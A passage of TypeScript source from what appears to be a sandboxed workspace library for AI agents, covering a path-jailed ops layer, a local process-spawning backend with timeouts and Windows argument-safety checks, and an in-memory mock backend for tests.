globToRegExp(pattern);\n\n const files = await this.walkFiles(jailRoot);\n const matched: string[] = [];\n\n for (const absFile of files) {\n const relativePath = path.relative(jailRoot, absFile).split(path.sep).join(\"/\");\n\n if (this.isDenied(relativePath)) {\n continue;\n }\n\n if (regex.test(relativePath)) {\n matched.push(relativePath);\n }\n }\n\n return matched.sort();\n }\n\n public async exists(inputPath: string): Promise<boolean> {\n const { absolutePath } = await resolveInJail(this.policy, inputPath);\n\n return this.backend.exists(absolutePath);\n }\n\n public async mkdir(inputPath: string): Promise<void> {\n const { absolutePath } = await resolveInJail(this.policy, inputPath);\n\n await this.backend.mkdir(absolutePath);\n }\n\n public async remove(inputPath: string): Promise<void> {\n const { absolutePath } = await resolveInJail(this.policy, inputPath);\n\n await this.withPathLock(absolutePath, () => this.backend.remove(absolutePath));\n }\n\n /** Whether a `/`-separated relative path hits the policy deny list. */\n private isDenied(relativePath: string): boolean {\n const denyPaths = this.policy.denyPaths;\n\n return (\n denyPaths !== undefined && denyPaths.length > 0 && matchesAnyGlob(relativePath, denyPaths)\n );\n }\n}\n\n/** Combine per-stream truncation metadata; `undefined` when neither stream was clipped. */\nfunction streamTruncation(\n stdout: WorkspaceTruncation | undefined,\n stderr: WorkspaceTruncation | undefined,\n): { stdout?: WorkspaceTruncation; stderr?: WorkspaceTruncation } | undefined {\n if (stdout === undefined && stderr === undefined) {\n return undefined;\n }\n\n return {\n ...(stdout !== undefined ? { stdout } : {}),\n ...(stderr !== undefined ? { stderr } : {}),\n };\n}\n\n/** The lower of two optional limits (either may be absent). */\nfunction lowerOf(\n policyLimit: number | undefined,\n requested: number | undefined,\n): number | undefined {\n if (requested === undefined || requested <= 0) {\n return policyLimit;\n }\n\n return policyLimit === undefined ? requested : Math.min(policyLimit, requested);\n}\n\n/**\n * Create the policy-enforced operation layer over a backend.\n *\n * The returned {@link WorkspaceOps} is the single seam both the\n * agent-facing `.tools.*` factories and the human-facing direct methods\n * delegate to — one jail, one command-gate, one read-before-edit guard,\n * regardless of caller. Path inputs are workspace-relative and resolved\n * against `policy.cwd`; escapes and denied commands surface as typed\n * {@link WorkspacePolicyError} / {@link WorkspaceEditError}.\n *\n * @param backend - The dumb IO executor (local disk or in-memory mock).\n * @param policy - The policy that bounds every operation.\n * @param runtime - State shared with other views of the same workspace\n * (its background commands); a fresh one when omitted.\n *\n * @example\n * const ops = createOps(localBackend, { cwd: \"/srv/api\", shell: { allow: [\"npm\"] } });\n * const { content, hash } = await ops.readFile(\"src/index.ts\");\n */\nexport function createOps(\n backend: WorkspaceBackend,\n policy: WorkspacePolicy,\n runtime?: OpsRuntime,\n): WorkspaceOps {\n return new Ops(backend, policy, runtime ?? { jobs: new ShellJobs() });\n}\n","import { spawn } from \"node:child_process\";\nimport { lstat, realpath } from \"node:fs/promises\";\nimport { platform } from \"node:process\";\nimport { StringDecoder } from \"node:string_decoder\";\nimport { fs } from \"@warlock.js/fs\";\nimport { tokenizeCommand } from \"../policy/tokenize-command\";\nimport type { WorkspaceShellInterpreter } from \"../contracts/workspace-policy.type\";\nimport type {\n WorkspaceBackend,\n WorkspaceBackendExecOptions,\n WorkspaceBackendExecResult,\n WorkspaceBackendProcess,\n WorkspaceBackendStartOptions,\n WorkspaceBackendStat,\n} from \"../contracts/workspace-backend.contract\";\n\n/**\n * Hard ceiling on captured `stdout`/`stderr` per stream, in bytes. The raw\n * executor truncates each stream once this many bytes have accumulated so a\n * runaway command cannot exhaust memory; the ops layer applies its own\n * policy-driven cap (and the `truncated` flag) on top. Generous enough that\n * ordinary command output is never clipped here.\n */\nconst MAX_STREAM_BYTES = 10 * 1024 * 1024;\n\n/**\n * Append a chunk to a capped list of buffers, tracking the running byte\n * total and stopping once {@link MAX_STREAM_BYTES} is reached. Trailing bytes\n * past the cap are dropped rather than buffered.\n */\nfunction pushCapped(chunks: Buffer[], total: number, chunk: Buffer): number {\n if (total >= MAX_STREAM_BYTES) {\n return total;\n }\n\n const remaining = MAX_STREAM_BYTES - total;\n\n if (chunk.length <= remaining) {\n chunks.push(chunk);\n\n return total + chunk.length;\n }\n\n chunks.push(chunk.subarray(0, remaining));\n\n return MAX_STREAM_BYTES;\n}\n\n/**\n * Force-kill a spawned command and its entire process tree.\n *\n * The direct child may have grandchildren (on Windows it is the `cmd.exe`\n * wrapper around a batch shim; anywhere, an allowed `npm`/`node` can spawn\n * further processes), so signalling the direct child alone could leave a\n * long-running grandchild alive and the `exec` promise unsettled. We\n * therefore kill the whole group:\n * - **Windows** — `taskkill /T /F` walks and terminates the PID's tree.\n * - **POSIX** — the child is spawned `detached`, becoming its own process\n * group leader, so `process.kill(-pid)` SIGKILLs the group.\n */\nfunction killTree(pid: number | undefined, child: { kill(signal: NodeJS.Signals): boolean }): void {\n if (pid === undefined) {\n child.kill(\"SIGKILL\");\n\n return;\n }\n\n if (platform === \"win32\") {\n const killer = spawn(\"taskkill\", [\"/pid\", String(pid), \"/T\", \"/F\"], { windowsHide: true });\n\n // Without a listener a failed spawn (taskkill missing from PATH) is an\n // unhandled 'error' event that crashes the process; fall back to the\n // direct child instead.\n killer.on(\"error\", () => {\n child.kill(\"SIGKILL\");\n });\n\n return;\n }\n\n try {\n process.kill(-pid, \"SIGKILL\");\n } catch {\n // The group may already be gone; fall back to the direct child.\n child.kill(\"SIGKILL\");\n }\n}\n\n/**\n * Argument bytes `cmd.exe` cannot carry safely even inside double quotes:\n * an embedded quote breaks out of the quoted span, `%` triggers variable\n * expansion regardless of quoting, and newlines end the command line. An\n * argv containing any of these is refused rather than risked (the\n * BatBadBut / CVE-2024-24576 class of `cmd.exe` argument smuggling).\n */\nconst WIN32_UNSAFE_ARGUMENT = /[\"%\\r\\n]/;\n\n/**\n * Build the `cmd.exe` invocation that runs an argv on Windows. Batch shims\n * (`npm.cmd`, `npx.cmd`, …) cannot be spawned directly without a shell\n * (Node rejects them since CVE-2024-27980), so the argv is run through\n * `cmd.exe /d /s /c` with every element individually double-quoted —\n * quoted spans are literal to cmd's parser, so pipes/ampersands inside an\n * argument stay argument data. Returns `null` when an element contains a\n * byte cmd cannot quote safely (see {@link WIN32_UNSAFE_ARGUMENT}).\n *\n * The caller must spawn with `windowsVerbatimArguments: true` so Node does\n * not re-quote the already-quoted command line.\n */\nfunction toWin32CmdInvocation(argv: string[]): { file: string; args: string[] } | null {\n if (argv.some((element) => WIN32_UNSAFE_ARGUMENT.test(element))) {\n return null;\n }\n\n const commandLine = argv.map((element) => `\"${element}\"`).join(\" \");\n\n return {\n file: process.env.ComSpec ?? \"cmd.exe\",\n args: [\"/d\", \"/s\", \"/c\", `\"${commandLine}\"`],\n };\n}\n\n/** The shell a POSIX shell-mode line runs through — an absolute path, never a PATH lookup. */\nconst POSIX_SHELL = \"/bin/sh\";\n\n/** How to spawn a command line, or why it cannot be spawned. */\nexport type SpawnPlan =\n | { file: string; args: string[]; windowsVerbatimArguments: boolean }\n | { refused: string };\n\n/**\n * Work out the spawn for a command line.\n *\n * - argv mode: tokenize (no shell semantics) and spawn the argv directly —\n * on Windows through an individually-quoted `cmd.exe` wrapper.\n * - shell mode: `/bin/sh -c <line>`, or `cmd.exe /d /v:off /s /c \"<line>\"`\n * on Windows (`/d` skips AutoRun, `/v:off` disables delayed `!` expansion,\n * `/s` keeps the line verbatim inside the outer quotes). The ops layer has\n * already checked every command in the line.\n */\nexport function planSpawn(\n command: string,\n interpreter: WorkspaceShellInterpreter,\n interpreterPath?: string,\n hostPlatform: NodeJS.Platform = platform,\n): SpawnPlan {\n if (interpreter === \"powershell\") {\n return {\n file: interpreterPath ?? (hostPlatform === \"win32\" ? \"powershell.exe\" : \"pwsh\"),\n args: [\"-NoLogo\", \"-NoProfile\", \"-NonInteractive\", \"-Command\", command],\n windowsVerbatimArguments: false,\n };\n }\n\n if (interpreter === \"bash\") {\n return {\n file: interpreterPath ?? \"bash\",\n args: [\"-c\", command],\n windowsVerbatimArguments: false,\n };\n }\n\n if (interpreter === \"cmd\" || (interpreter === \"sh\" && hostPlatform === \"win32\")) {\n return {\n file: interpreterPath ?? process.env.ComSpec ?? \"cmd.exe\",\n args: [\"/d\", \"/v:off\", \"/s\", \"/c\", `\"${command}\"`],\n windowsVerbatimArguments: true,\n };\n }\n\n if (interpreter === \"sh\") {\n return {\n file: interpreterPath ?? POSIX_SHELL,\n args: [\"-c\", command],\n windowsVerbatimArguments: false,\n };\n }\n\n const argv = tokenizeCommand(command);\n const executable = argv?.[0];\n\n if (argv === null || executable === undefined) {\n return {\n refused:\n \"Command was not executed: it is empty, has unbalanced quotes, or \" +\n \"contains unquoted shell metacharacters (;, &, |, `, $, <, >, \" +\n \"parentheses). Commands run without a shell — pass metacharacters \" +\n \"inside quotes as literal arguments, or run one command at a time.\",\n };\n }\n\n if (platform === \"win32\") {\n const invocation = toWin32CmdInvocation(argv);\n\n if (invocation === null) {\n return {\n refused:\n 'Command was not executed: on Windows, arguments containing \", %, ' +\n \"or newlines cannot be passed to cmd.exe safely.\",\n };\n }\n\n return { ...invocation, windowsVerbatimArguments: true };\n }\n\n return { file: executable, args: argv.slice(1), windowsVerbatimArguments: false };\n}\n\n/**\n * Kill functions of every background process still running, so they can\n * be reaped if the Node process exits without the workspace being disposed\n * (detached process groups would otherwise outlive it).\n */\nconst liveBackgroundKills = new Set<() => void>();\n\nlet exitHookInstalled = false;\n\n/** Track a live background tree; installs (once) the exit hook that kills them. */\nfunction trackBackgroundProcess(kill: () => void): () => void {\n liveBackgroundKills.add(kill);\n\n if (!exitHookInstalled) {\n exitHookInstalled = true;\n process.on(\"exit\", () => {\n for (const killTreeNow of liveBackgroundKills) {\n killTreeNow();\n }\n });\n }\n\n return () => {\n liveBackgroundKills.delete(kill);\n };\n}\n\n/**\n * The real-disk executor: every filesystem method delegates to\n * `@warlock.js/fs` (never `node:fs`), and {@link LocalBackend.exec} spawns a\n * process via `node:child_process`. It is deliberately **policy-agnostic** —\n * it receives already-resolved absolute paths and an already-resolved\n * environment + timeout from the ops layer, and just performs the side\n * effect. See {@link WorkspaceBackend} for the contract this implements.\n *\n * Constructed via {@link createLocalBackend}; the class itself is internal.\n */\nclass LocalBackend implements WorkspaceBackend {\n /** Read a file's full UTF-8 content at an absolute path. */\n public async readFile(absPath: string): Promise<string> {\n return fs.files.get(absPath);\n }\n\n /**\n * Write full content to an absolute path. Uses `atomicWriteAsync`, so a\n * concurrent reader never observes a half-written file, and missing parent\n * directories are created.\n */\n public async writeFile(absPath: string, content: string): Promise<void> {\n await fs.files.put(absPath, content, { atomic: true });\n }\n\n /** Whether anything (file or directory) exists at an absolute path. */\n public async exists(absPath: string): Promise<boolean> {\n return fs.exists(absPath);\n }\n\n /** Create a directory (and any missing parents) at an absolute path; idempotent. */\n public async mkdir(absPath: string): Promise<void> {\n await fs.dirs.ensure(absPath);\n }\n\n /**\n * Remove a file or directory tree at an absolute path. Stats the target to\n * pick the right op — `fs.dirs.remove` (recursive) for a directory,\n * `fs.files.remove` for anything else. A path that does not exist is a no-op\n * (the stat's ENOENT short-circuits, and both removes swallow `ENOENT`).\n */\n public async remove(absPath: string): Promise<void> {\n let isDirectory = false;\n\n try {\n isDirectory = (await fs.files.stats(absPath)).type === \"directory\";\n } catch (error) {\n if ((error as NodeJS.ErrnoException)?.code === \"ENOENT\") {\n return;\n }\n\n throw error;\n }\n\n if (isDirectory) {\n await fs.dirs.remove(absPath);\n\n return;\n }\n\n await fs.files.remove(absPath);\n }\n\n /** List immediate children of an absolute directory as absolute paths. */\n public async list(absDir: string): Promise<string[]> {\n return fs.dirs.list(absDir);\n }\n\n /**\n * Describe a path without following a final symlink (`lstat` — like\n * `realpath`, a filesystem operation `@warlock.js/fs` does not expose).\n */\n public async stat(absPath: string): Promise<WorkspaceBackendStat> {\n const stats = await lstat(absPath);\n const type = stats.isSymbolicLink()\n ? \"symlink\"\n : stats.isDirectory()\n ? \"directory\"\n : stats.isFile()\n ? \"file\"\n : \"other\";\n\n return { type, size: stats.size };\n }\n\n /**\n * Resolve symlinks and `..` segments to a canonical absolute path — the\n * primitive the ops-layer jail uses to detect escapes. Delegates to\n * `node:fs/promises` `realpath`, the one filesystem operation `@warlock.js/fs`\n * does not expose.\n */\n public async realpath(absPath: string): Promise<string> {\n return realpath(absPath);\n }\n\n /**\n * Run a command and capture its outcome. In argv mode (the default) the\n * command line is tokenized into an argv (quotes respected, NO shell\n * semantics — see `tokenizeCommand`) and spawned **without a shell**, so\n * metacharacters like `;`, `&&`, `|`, backticks, and `$()` can never\n * chain extra commands past the ops layer's allowlist; a command they\n * appear unquoted in is refused with exit code 127. On Windows the argv\n * runs through a `cmd.exe /d /s /c` wrapper (batch shims like `npm.cmd`\n * cannot be spawned shell-less) with every element individually quoted.\n * With `interpreter: \"sh\"` the line runs through `/bin/sh -c` (or\n * `cmd.exe /d /v:off /s /c` on Windows) — only after the ops layer has\n * checked every command in it.\n * `cwd`, `env`, and the timeout are taken verbatim from the ops layer\n * (the environment is NOT merged with `process.env`). On timeout the\n * process tree is SIGKILLed and `timedOut` is set. When `signal` aborts\n * mid-run the process tree is SIGKILLed the same way and `cancelled` is\n * set; an already-aborted `signal` resolves `cancelled` without spawning.\n * `stdout`/`stderr` are captured and byte-capped per {@link MAX_STREAM_BYTES}.\n *\n * Never rejects for a non-zero exit, a missing executable, a refused\n * command line, a timeout or a cancellation — those are reported through the resolved\n * {@link WorkspaceBackendExecResult} so the ops layer can surface them\n * as tool-error data.\n */\n public exec(\n command: string,\n opts: WorkspaceBackendExecOptions = {},\n ): Promise<WorkspaceBackendExecResult> {\n return new Promise<WorkspaceBackendExecResult>((resolve) => {\n const refuse = (stderr: string): void =>\n resolve({ exitCode: 127, stdout: \"\", stderr, timedOut: false });\n\n const signal = opts.signal;\n\n // Never spawn for an invocation that was cancelled before it started.\n if (signal?.aborted) {\n resolve({\n exitCode: 130,\n stdout: \"\",\n stderr: \"Command was not executed: the invocation was cancelled before it started.\",\n timedOut: false,\n cancelled: true,\n });\n\n return;\n }\n\n const plan = planSpawn(command, opts.interpreter ?? \"none\", opts.interpreterPath);\n\n if (\"refused\" in plan) {\n refuse(plan.refused);\n\n return;\n }\n\n const child = spawn(plan.file, plan.args, {\n cwd: opts.cwd,\n env: opts.env,\n shell: false,\n windowsHide: true,\n windowsVerbatimArguments: plan.windowsVerbatimArguments,\n // POSIX: own process group so a timeout SIGKILL reaps the whole\n // process tree, not just the direct child. Harmless on Windows\n // (ignored; there we tree-kill via taskkill instead).\n detached: platform !== \"win32\",\n });\n\n const stdoutChunks: Buffer[] = [];\n const stderrChunks: Buffer[] = [];\n let stdoutBytes = 0;\n let stderrBytes = 0;\n let timedOut = false;\n let cancelled = false;\n let settled = false;\n // The direct child has exited; 'close' may still be pending while its\n // stdio drains (or a grandchild holds the pipes open).\n let exited = false;\n\n // Timeout and cancellation are mutually exclusive: whichever kills the\n // tree first owns the outcome, so a result is never both.\n const timer =\n opts.timeoutMs !== undefined && opts.timeoutMs > 0\n ? setTimeout(() => {\n if (cancelled) {\n return;\n }\n\n timedOut = true;\n killTree(child.pid, child);\n }, opts.timeoutMs)\n : undefined;\n\n const onAbort = (): void => {\n if (settled || timedOut) {\n return;\n }\n\n // The command already finished: report its real outcome, not a\n // cancellation. Still reap the tree so a grandchild holding the\n // pipes open cannot keep `close` (and this promise) pending.\n if (!exited) {\n cancelled = true;\n }\n\n killTree(child.pid, child);\n };\n\n // Attached synchronously after `spawn`, so there is no window in which\n // an abort could be missed; removed in `settle` so a long-lived signal\n // shared across many commands does not accumulate listeners.\n signal?.addEventListener(\"abort\", onAbort, { once: true });\n\n const settle = (exitCode: number) => {\n if (settled) {\n return;\n }\n\n settled = true;\n\n if (timer !== undefined) {\n clearTimeout(timer);\n }\n\n signal?.removeEventListener(\"abort\", onAbort);\n\n resolve({\n exitCode,\n stdout: Buffer.concat(stdoutChunks).toString(\"utf8\"),\n stderr: Buffer.concat(stderrChunks).toString(\"utf8\"),\n timedOut,\n cancelled,\n });\n };\n\n child.stdout?.on(\"data\", (chunk: Buffer) => {\n stdoutBytes = pushCapped(stdoutChunks, stdoutBytes, chunk);\n });\n\n child.stderr?.on(\"data\", (chunk: Buffer) => {\n stderrBytes = pushCapped(stderrChunks, stderrBytes, chunk);\n });\n\n // A spawn failure (e.g. the executable cannot be found) surfaces as\n // an error event with no exit; report it as a conventional\n // \"command not found\" exit code rather than rejecting.\n child.on(\"error\", () => {\n settle(127);\n });\n\n child.on(\"exit\", () => {\n exited = true;\n });\n\n child.on(\"close\", (code, signal) => {\n // A null code means the process was terminated by a signal (our\n // timeout SIGKILL, or an external kill). Map that to the POSIX\n // 128 + signal-number convention so callers see a non-zero exit.\n if (code === null) {\n const signalNumber = signal === \"SIGKILL\" ? 9 : 1;\n settle(128 + signalNumber);\n\n return;\n }\n\n settle(code);\n });\n });\n }\n\n /**\n * Start a long-running command and return at once. Spawned like\n * {@link exec} (same argv/shell planning, own process group on POSIX), with\n * stdin closed. Output is decoded per stream with a `StringDecoder`, so a\n * chunk never ends inside a character. `kill()` kills the whole tree; a\n * still-running tree is also killed when the Node process exits.\n */\n public start(command: string, opts: WorkspaceBackendStartOptions): WorkspaceBackendProcess {\n const plan = planSpawn(command, opts.interpreter ?? \"none\", opts.interpreterPath);\n\n if (\"refused\" in plan) {\n opts.onOutput(\"stderr\", plan.refused);\n\n return { done: Promise.resolve({ exitCode: 127 }), kill: () => {} };\n }\n\n const child = spawn(plan.file, plan.args, {\n cwd: opts.cwd,\n env: opts.env,\n shell: false,\n windowsHide: true,\n windowsVerbatimArguments: plan.windowsVerbatimArguments,\n detached: platform !== \"win32\",\n stdio: [\"ignore\", \"pipe\", \"pipe\"],\n });\n\n const stdoutDecoder = new StringDecoder(\"utf8\");\n const stderrDecoder = new StringDecoder(\"utf8\");\n let finished = false;\n\n const kill = (): void => {\n if (!finished) {\n killTree(child.pid, child);\n }\n };\n\n const untrack = trackBackgroundProcess(kill);\n\n child.stdout?.on(\"data\", (chunk: Buffer) => {\n const text = stdoutDecoder.write(chunk);\n\n if (text !== \"\") {\n opts.onOutput(\"stdout\", text);\n }\n });\n\n child.stderr?.on(\"data\", (chunk: Buffer) => {\n const text = stderrDecoder.write(chunk);\n\n if (text !== \"\") {\n opts.onOutput(\"stderr\", text);\n }\n });\n\n const done = new Promise<{ exitCode: number }>((resolve) => {\n const finish = (exitCode: number): void => {\n if (finished) {\n return;\n }\n\n finished = true;\n untrack();\n\n const stdoutTail = stdoutDecoder.end();\n const stderrTail = stderrDecoder.end();\n\n if (stdoutTail !== \"\") {\n opts.onOutput(\"stdout\", stdoutTail);\n }\n\n if (stderrTail !== \"\") {\n opts.onOutput(\"stderr\", stderrTail);\n }\n\n resolve({ exitCode });\n };\n\n child.on(\"error\", (error) => {\n opts.onOutput(\"stderr\", `Command could not be started: ${error.message}`);\n finish(127);\n });\n\n child.on(\"close\", (code, signal) => {\n finish(code === null ? 128 + (signal === \"SIGKILL\" ? 9 : 1) : code);\n });\n });\n\n return { ...(child.pid !== undefined ? { pid: child.pid } : {}), done, kill };\n }\n}\n\n/**\n * Create the **local** workspace backend — the default executor that runs the\n * workspace over the real disk (`@warlock.js/fs`) and the local shell\n * (`node:child_process`).\n *\n * The returned object is policy-agnostic: it expects already-jail-resolved\n * absolute paths and an already-resolved environment/timeout from the ops\n * layer. Pair it with {@link WorkspaceOps} for the actual cwd jail,\n * allow/deny lists, hashing, and output policy.\n *\n * @example\n * const backend = createLocalBackend();\n * await backend.writeFile(\"/srv/app/src/index.ts\", \"export const x = 1;\");\n * const { exitCode } = await backend.exec(\"node -v\", { cwd: \"/srv/app\" });\n */\nexport function createLocalBackend(): WorkspaceBackend {\n return new LocalBackend();\n}\n","import type {\n WorkspaceBackend,\n WorkspaceBackendExecOptions,\n WorkspaceBackendExecResult,\n WorkspaceBackendProcess,\n WorkspaceBackendStartOptions,\n WorkspaceBackendStat,\n} from \"../contracts/workspace-backend.contract\";\n\n/**\n * A scripted outcome for the mock backend's `exec` (and background\n * `start`). Mirrors {@link WorkspaceBackendExecResult} but every field is\n * optional so a registration can specify only what it cares about — the\n * rest fall back to a successful, empty-output, non-timed-out run.\n *\n * `running: true` makes a background start keep \"running\" (after emitting\n * its scripted output) until it is killed, like a dev server; otherwise it\n * exits at once with `exitCode`.\n */\nexport type MockExecResult = Partial<WorkspaceBackendExecResult> & {\n /** Background starts only: stay running until killed. */\n running?: boolean;\n};\n\n/**\n * The two seedable inputs of a mock backend:\n *\n * - `files` — initial file tree as `absolutePath -> content`. Parent\n * directories of each seeded file are implicitly created.\n * - `commands` — scripted `exec` outcomes keyed on the **exact** command\n * line. Any command not registered here resolves to a `0`-exit no-op.\n */\nexport interface MockBackendSeed {\n /** Initial file contents, keyed by absolute path. */\n files?: Record<string, string>;\n /** Scripted `exec` results, keyed by exact command line. */\n commands?: Record<string, MockExecResult>;\n}\n\n/**\n * Normalize an absolute path to a stable in-memory key: forward slashes,\n * collapsed duplicate separators, and resolved `.` / `..` segments. There\n * are no symlinks in memory, so this is a pure lexical canonicalization —\n * exactly what the backend's `realpath` promises.\n */\nfunction canonicalize(absPath: string): string {\n const unified = absPath.replace(/\\\\/g, \"/\");\n // Preserve a leading slash (POSIX root) or a `C:`-style Windows drive\n // prefix; everything else is a normal segment.\n const driveMatch = unified.match(/^([a-zA-Z]:)?\\/?/);\n const prefix = driveMatch ? driveMatch[0] : \"\";\n const rest = unified.slice(prefix.length);\n\n const resolved: string[] = [];\n\n for (const segment of rest.split(\"/\")) {\n if (segment === \"\" || segment === \".\") {\n continue;\n }\n\n if (segment === \"..\") {\n resolved.pop();\n\n continue;\n }\n\n resolved.push(segment);\n }\n\n const joined = resolved.join(\"/\");\n\n // A trailing slash on the prefix means it was absolute; keep it so the\n // result stays absolute even when the body is empty (the root itself).\n const normalizedPrefix = prefix.endsWith(\"/\") ? prefix : `${prefix}/`;\n\n return joined.length > 0 ? `${normalizedPrefix}${joined}` : normalizedPrefix;\n}\n\n/** All ancestor directory keys of a canonical path, root-first. */\nfunction ancestorsOf(canonicalPath: string): string[] {\n const lastSlash = canonicalPath.lastIndexOf(\"/\");\n\n if (lastSlash <= 0) {\n return [];\n }\n\n const parent = canonicalPath.slice(0, lastSlash);\n const result = ancestorsOf(parent);\n\n result.push(parent);\n\n return result;\n}\n\n/**\n * The in-memory executor behind {@link createMockBackend}. Holds the file\n * tree in a `Map`, the directory set in a `Set`, and the scripted command\n * table in a second `Map` — no disk, no child processes, fully\n * deterministic. Construct it via the factory, never directly.\n */\nclass MockBackend implements WorkspaceBackend {\n /** Canonical file path -> content. */\n private readonly files = new Map<string, string>();\n\n /** Canonical directory paths that exist (including implicit parents). */\n private readonly directories = new Set<string>();\n\n /** Exact command line -> scripted outcome. */\n private readonly commands = new Map<string, MockExecResult>();\n\n public constructor(seed?: MockBackendSeed) {\n for (const [path, content] of Object.entries(seed?.files ?? {})) {\n const canonical = canonicalize(path);\n\n this.files.set(canonical, content);\n this.registerAncestorDirectories(canonical);\n }\n\n for (const [command, result] of Object.entries(seed?.commands ?? {})) {\n this.commands.set(command, result);\n }\n }\n\n /** Record every ancestor directory of a path as existing. */\n private registerAncestorDirectories(canonicalPath: string): void {\n for (const ancestor of ancestorsOf(canonicalPath)) {\n this.directories.add(ancestor);\n }\n }\n\n public async readFile(absPath: string): Promise<string> {\n const canonical = canonicalize(absPath);\n const content = this.files.get(canonical);\n\n if (content === undefined) {\n throw new Error(`Mock backend: no such file: ${canonical}`);\n }\n\n return content;\n }\n\n public async writeFile(absPath: string, content: string): Promise<void> {\n const canonical = canonicalize(absPath);\n\n this.files.set(canonical, content);\n this.registerAncestorDirectories(canonical);\n }\n\n public async exists(absPath: string): Promise<boolean> {\n const canonical = canonicalize(absPath);\n\n return this.files.has(canonical) || this.directories.has(canonical);\n }\n\n public async mkdir(absPath: string): Promise<void> {\n const canonical = canonicalize(absPath);\n\n this.directories.add(canonical);\n this.registerAncestorDirectories(canonical);\n }\n\n public async remove(absPath: string): Promise<void> {\n const canonical = canonicalize(absPath);\n const prefix = `${canonical}/`;\n\n // Drop the entry itself and any descendant files/directories — a\n // recursive tree removal, matching the contract's \"file or directory\n // tree\" wording.\n for (const file of [...this.files.keys()]) {\n if (file === canonical || file.startsWith(prefix)) {\n this.files.delete(file);\n }\n }\n\n for (const directory of [...this.directories]) {\n if (directory === canonical || directory.startsWith(prefix)) {\n this.directories.delete(directory);\n }\n }\n }\n\n public async list(absDir: string): Promise<string[]> {\n const canonical = canonicalize(absDir);\n const prefix = canonical === \"/\" ? \"/\" : `${canonical}/`;\n const children = new Set<string>();\n\n const collect = (key: string): void => {\n if (!key.startsWith(prefix) || key === canonical) {\n return;\n }\n\n const remainder = key.slice(prefix.length);\n const nextSlash = remainder.indexOf(\"/\");\n const childName = nextSlash === -1 ? remainder : remainder.slice(0, nextSlash);\n\n if (childName.length > 0) {\n children.add(`${prefix}${childName}`);\n }\n };\n\n for (const file of this.files.keys()) {\n collect(file);\n }\n\n for (const directory of this.directories) {\n collect(directory);\n }\n\n return [...children].sort();\n }\n\n public async realpath(absPath: string): Promise<string> {\n return canonicalize(absPath);\n }\n\n public async stat(absPath: string): Promise<WorkspaceBackendStat> {\n const canonical = canonicalize(absPath);\n const content = this.files.get(canonical);\n\n if (content !== undefined) {\n return { type: \"file\", size: Buffer.byteLength(content, \"utf8\") };\n }\n\n if (this.directories.has(canonical)) {\n return { type: \"directory\", size: 0 };\n }\n\n throw new Error(`Mock backend: no such file or directory: ${canonical}`);\n }\n\n /**\n * Scripted background start: emits the registered `stdout` / `stderr`\n * synchronously, then exits with `exitCode` — or, when scripted with\n * `running: true`, stays running until `kill()` (exit code 137).\n */\n public start(command: string, opts: WorkspaceBackendStartOptions): WorkspaceBackendProcess {\n const scripted = this.commands.get(command);\n\n if (scripted?.stdout) {\n opts.onOutput(\"stdout\", scripted.stdout);\n }\n\n if (scripted?.stderr) {\n opts.onOutput(\"stderr\", scripted.stderr);\n }\n\n if (scripted?.running !== true) {\n return { done: Promise.resolve({ exitCode: scripted?.exitCode ?? 0 }), kill: () => {} };\n }\n\n let stop: (result: { exitCode: number }) => void = () => {};\n const done = new Promise<{ exitCode: number }>((resolve) => {\n stop = resolve;\n });\n\n return { done, kill: () => stop({ exitCode: 137 }) };\n }\n\n public async exec(\n command: string,\n opts?: WorkspaceBackendExecOptions,\n ): Promise<WorkspaceBackendExecResult> {\n // Honour the contract's pre-aborted rule: nothing \"runs\".\n if (opts?.signal?.aborted) {\n return { exitCode: 130, stdout: \"\", stderr: \"\", timedOut: false, cancelled: true };\n }\n\n const scripted = this.commands.get(command);\n\n return {\n exitCode: scripted?.exitCode ?? 0,\n stdout: scripted?.stdout ?? \"\",\n stderr: scripted?.stderr ?? \"\",\n timedOut: scripted?.timedOut ?? false,\n cancelled: scripted?.cancelled ?? false,\n };\n }\n}\n\n/**\n * Create an in-memory {@link WorkspaceBackend} for fast, disk-free tests.\n *\n * Every IO method operates on a `Map` of `absolutePath -> content` (with a\n * companion directory set), so reads, writes, existence checks, `mkdir`,\n * recursive `remove`, `list`, and `realpath` all run synchronously in\n * memory with no filesystem access. `exec` is **scripted**: a registered\n * `command -> result` table is consulted by exact command line, and any\n * unregistered command resolves to a successful `0`-exit no-op with empty\n * output.\n *\n * `realpath` is a pure lexical canonicalization (forward slashes,\n * collapsed separators, resolved `.`/`..`) — there are no symlinks in\n * memory — which is exactly what the jail resolver expects.\n *\n * The single positional `seed` accepts either the shorthand\n * `Record<string, string>` of file contents (matching the design's\n * `ai.workspace.mock(seed)` signature) or the richer {@link MockBackendSeed}\n * with both `files` and scripted `commands`.\n *\n * @example\n * // Shorthand: seed files only.\n * const backend = createMockBackend({ \"/srv/app/src/index.ts\": \"export const x = 1;\" });\n * await backend.readFile(\"/srv/app/src/index.ts\"); // \"export const x = 1;\"\n *\n * @example\n * // Full seed: files plus a scripted command.\n * const backend = createMockBackend({\n * files: { \"/srv/app/package.json\": \"{}\" },\n * commands: { \"npm test\": { exitCode: 1, stderr: \"1 failing\" } },\n * });\n * await backend.exec(\"npm test\"); // { exitCode: 1, stderr: \"1 failing\", ... }\n * await backend.exec(\"echo hi\"); // { exitCode: 0, stdout: \"\", ... } (no-op)\n */\nexport function createMockBackend(\n seed?: Record<string, string> | MockBackendSeed,\n): WorkspaceBackend {\n return new MockBackend(normalizeSeed(seed));\n}\n\n/** Coerce the dual-shaped `seed` argument into a {@link MockBackendSeed}. */\nfunction normalizeSeed(\n seed?: Record<string, string> | MockBackendSeed,\n): MockBackendSeed | undefined {\n if (seed === undefined) {\n return undefined;\n }\n\n if (isMockBackendSeed(seed)) {\n return seed;\n }\n\n return { files: seed };\n}\n\n/**\n * Whether `seed` is the structured {@link MockBackendSeed} (has a `files`\n * or `commands` key) rather than the flat `path -> content` shorthand. A\n * plain shorthand map whose only key happens to be named `files` is\n * treated as structured — callers wanting that literal path should use the\n * explicit `{ files: { files: \"...\" } }` form.\n */\nfunction isMockBackendSeed(\n seed: Record<string, string> | MockBackendSeed,\n): seed is MockBackendSeed {\n return (\n typeof (seed as MockBackendSeed).files === \"object\" ||\n typeof (seed as MockBackendSeed).commands === \"object\"\n );\n}\n","import type { JsonSchemaObject } from \"./schema\";\n\n/**\n * The JSON Schemas the workspace tools publish for their input (read by\n * `extractJsonSchema` and sent to the provider with each tool), kept short\n * because they ride along on every model call. They describe what the\n * hand-rolled validators accept; the validators remain the authority.\n */\n\nconst string = (description: string): JsonSchemaObject => ({ type: \"string\", description });\nconst integer = (description: string): JsonSchemaObject => ({ type: \"integer\", description });\nconst boolean = (description: string): JsonSchemaObject => ({ type: \"boolean\", description });\n\n/** 